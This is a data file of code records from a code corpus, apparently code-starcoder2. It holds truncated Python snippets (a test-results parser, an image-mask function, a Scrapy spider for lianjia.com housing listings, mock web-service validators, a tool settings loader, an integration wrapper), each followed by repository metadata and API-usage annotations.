from datetime import datetime, timezone
import re
class Parser:
"""
this class implements a parser which parses the test and coverage results.
"""
def __init__(self, db, directory):
"""
init a parser object
:param db: the DB which wi... | null | Main/Parser/Parser.py | Parser.py | py | 5,080 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "os.path.join",
"line_number": 28,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 28,
"usage_type": "attribute"
},
{
"api_name": "xml.etree.ElementTree.parse",
"line_number": 29,
"usage_type": "call"
},
{
"api_name": "xml.etree.Eleme... |
53578774 | """
Created on Mon Nov 23 9:00:07 2020
@author: Briana Santo
"""
import numpy as np
import skimage as sk
import scipy as sp
import cv2
from skimage import color
from skimage.transform import resize
def get_wsi_mask(image,wsi_glom_mask):
wsi_mask = color.rgb2gray(image)
wsi_mask = wsi_mask<(wsi_m... | null | histomicstk/BAS_folder_human/get_wsi_mask.py | get_wsi_mask.py | py | 1,153 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "skimage.color.rgb2gray",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "skimage.color",
"line_number": 14,
"usage_type": "name"
},
{
"api_name": "scipy.ndimage.morphology.binary_fill_holes",
"line_number": 16,
"usage_type": "call"
},
{
"a... |
57957769 | # -*- coding: utf-8 -*-
import scrapy
import json
import re
from datetime import datetime
from lianjia.items import SecondHandHouseItem
class SecondHandHouseSpider(scrapy.Spider):
"""This class used to crawl second-hand houses in all cities."""
name = 'second_hand_house'
allowed_domains = ['lianjia.com']
... | null | lianjia/spiders/second_hand_house.py | second_hand_house.py | py | 5,103 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "scrapy.Spider",
"line_number": 9,
"usage_type": "attribute"
},
{
"api_name": "scrapy.Request",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "re.match",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "scrapy.Request",
"line_... |
533682954 | """
Content-Type header validators to use in the mock.
"""
from typing import Dict
from requests_mock import POST, PUT
from mock_vws._services_validators.exceptions import AuthenticationFailure
def validate_content_type_header_given(
request_headers: Dict[str, str],
request_method: str,
) -> None:
"""
... | null | src/mock_vws/_services_validators/content_type_validators.py | content_type_validators.py | py | 850 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "typing.Dict",
"line_number": 13,
"usage_type": "name"
},
{
"api_name": "requests_mock.POST",
"line_number": 27,
"usage_type": "name"
},
{
"api_name": "requests_mock.PUT",
"line_number": 27,
"usage_type": "name"
},
{
"api_name": "mock_vws._services_v... |
67263087 | ###
### Settings
###
import sys
import ConfigParser
import traceback
from datetime import datetime
from lib.utils.DefaultConfigParser import DefaultConfigParser
from lib.utils.FileUtils import FileUtils
from lib.core.Constants import *
from lib.core.Toolbox import Toolbox
from lib.core.Tool import Tool
class Setting... | null | lib/core/Settings.py | Settings.py | py | 10,619 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "lib.core.Toolbox.Toolbox",
"line_number": 31,
"usage_type": "call"
},
{
"api_name": "lib.utils.FileUtils.FileUtils.is_dir",
"line_number": 34,
"usage_type": "call"
},
{
"api_name": "lib.utils.FileUtils.FileUtils",
"line_number": 34,
"usage_type": "name"
}... |
385796475 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# =============================================================================
## @file integral.py
# Simple wrapper over scipy integration in a spirit of derivative.py
# - In case scipy is not available, it provides a reasonable replacement
# @author Vanya BELYAEV Iv... | null | ostap/math/integral.py | integral.py | py | 13,365 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "ostap.logger.logger.getLogger",
"line_number": 44,
"usage_type": "call"
},
{
"api_name": "ostap.logger.logger.getLogger",
"line_number": 45,
"usage_type": "call"
},
{
"api_name": "warnings.warn",
"line_number": 136,
"usage_type": "call"
},
{
"api_na... |
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